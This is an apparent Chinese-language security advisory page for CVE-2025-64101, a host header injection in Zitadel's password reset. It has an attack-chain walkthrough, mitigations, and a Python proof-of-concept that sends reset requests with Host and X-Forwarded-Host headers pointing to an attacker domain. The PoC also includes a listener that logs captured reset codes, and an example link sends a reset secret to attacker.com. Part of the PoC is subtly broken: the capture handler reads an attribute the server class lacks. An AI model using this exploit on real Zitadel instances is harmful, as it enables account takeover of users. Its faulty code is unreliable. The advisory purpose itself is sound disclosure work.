IPBUF安全漏洞报告
English
CVE-2025-64101 CVSS 8.1 高危

CVE-2025-64101 Zitadel密码重置主机头注入漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64101
漏洞类型
主机头注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zitadel

相关标签

主机头注入密码重置漏洞身份认证绕过ZitadelCVE-2025-64101高危漏洞HTTP头注入账户劫持URL注入

漏洞概述

CVE-2025-64101是Zitadel开源身份基础设施软件中的一个高危安全漏洞,CVSS评分8.1。该漏洞存在于Zitadel的密码重置机制中,攻击者可以通过操纵Forwarded或X-Forwarded-Host HTTP头来注入恶意域名,从而让Zitadel生成指向攻击者控制域名的密码重置链接。当用户收到包含此恶意链接的邮件并点击时,嵌入在URL中的密码重置秘钥会被发送给攻击者,攻击者随后可使用该秘钥重置用户密码并获取账户访问权限。漏洞影响所有未启用多因素认证(MFA)或无密码认证的账户。Zitadel官方已于版本4.6.0、3.4.3和2.71.18中修复此漏洞,建议用户立即升级。

技术细节

该漏洞的根本原因在于Zitadel在构建密码重置确认链接时,直接使用了HTTP请求中的Forwarded或X-Forwarded-Host头信息,而未进行充分的验证和过滤。攻击者可以在请求中注入恶意的Host头值,如attacker.com,Zitadel会将此值用于构造完整的密码重置URL。生成的恶意链接形如:https://attacker.com/password/reset?code=xxx&user_id=yyy。当用户收到邮件并点击此链接时,浏览器会向攻击者的域名发送包含密码重置秘钥的请求,从而导致秘钥泄露。攻击成功的关键条件包括:1) 目标账户未启用MFA或无密码认证;2) 用户会点击邮件中的链接。技术层面,攻击者需要能够控制或操纵发往Zitadel服务器的HTTP请求头,这通常在反向代理或负载均衡环境中较为容易实现。

攻击链分析

STEP 1
步骤1
攻击者识别目标Zitadel实例并准备攻击环境,搭建一个监听服务器用于接收被篡改的密码重置链接请求
STEP 2
步骤2
攻击者向Zitadel的密码重置端点发送请求,在HTTP头中注入恶意的Forwarded或X-Forwarded-Host值,指向攻击者控制的域名
STEP 3
步骤3
Zitadel服务器使用攻击者提供的Host头值构造密码重置确认链接,链接中包含用户的唯一标识符和密码重置秘钥
STEP 4
步骤4
Zitadel向用户的邮箱发送包含恶意链接的密码重置邮件,邮件内容看似正常但链接指向攻击者域名
STEP 5
步骤5
用户收到邮件后点击链接,浏览器向攻击者控制的域名发送包含密码重置秘钥的请求
STEP 6
步骤6
攻击者捕获到密码重置请求和秘钥,使用该秘钥完成密码重置流程,从而获得用户账户的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64101 Host Header Injection PoC # Target: Zitadel password reset mechanism import requests import argparse def exploit_host_header_injection(target_url, attacker_domain, victim_email): """ Exploit Host Header Injection in Zitadel password reset """ # Step 1: Request password reset with manipulated Host header reset_url = f"{target_url}/ui/console/user/passwordreset" headers = { 'Host': attacker_domain, # Malicious domain 'X-Forwarded-Host': attacker_domain, # Alternative injection vector 'Forwarded': f'host={attacker_domain}', # RFC 7239 forwarding 'Content-Type': 'application/json' } payload = { 'email': victim_email } print(f"[*] Sending password reset request for {victim_email}") print(f"[*] Injecting Host header: {attacker_domain}") response = requests.post(reset_url, json=payload, headers=headers, allow_redirects=False) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200 or response.status_code == 204: print("[+] Password reset email sent with manipulated link") print(f"[+] Victim will receive email with reset link pointing to: {attacker_domain}") print("[*] Attacker should set up listener on attacker_domain to capture reset code") return response def setup_capture_server(port=8080): """ Simple HTTP server to capture reset codes """ from http.server import HTTPServer, BaseHTTPRequestHandler class CaptureHandler(BaseHTTPRequestHandler): def do_GET(self): print(f"[!] Captured request: {self.path}") print(f"[!] Query params: {self.query_string}") # Extract and log the reset code with open('captured_codes.txt', 'a') as f: f.write(f"{self.path}\n") self.send_response(404) self.end_headers() def log_message(self, format, *args): pass # Suppress logging server = HTTPServer(('0.0.0.0', port), CaptureHandler) print(f"[*] Starting capture server on port {port}") server.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64101 PoC') parser.add_argument('--target', required=True, help='Zitadel instance URL') parser.add_argument('--attacker', required=True, help='Attacker controlled domain') parser.add_argument('--email', required=True, help='Victim email') args = parser.parse_args() exploit_host_header_injection(args.target, args.attacker, args.email)

影响范围

Zitadel < 2.71.18
Zitadel < 3.4.3
Zitadel < 4.6.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Zitadel部署的前端代理层强制固定Host头,不允许客户端覆盖;2) 为所有用户启用MFA或无密码认证;3) 配置邮件系统标记来自外部链接的密码重置邮件;4) 监控异常的密码重置请求模式;5) 限制密码重置功能的请求频率。需要注意的是,这些措施只能降低风险,无法完全消除漏洞,建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表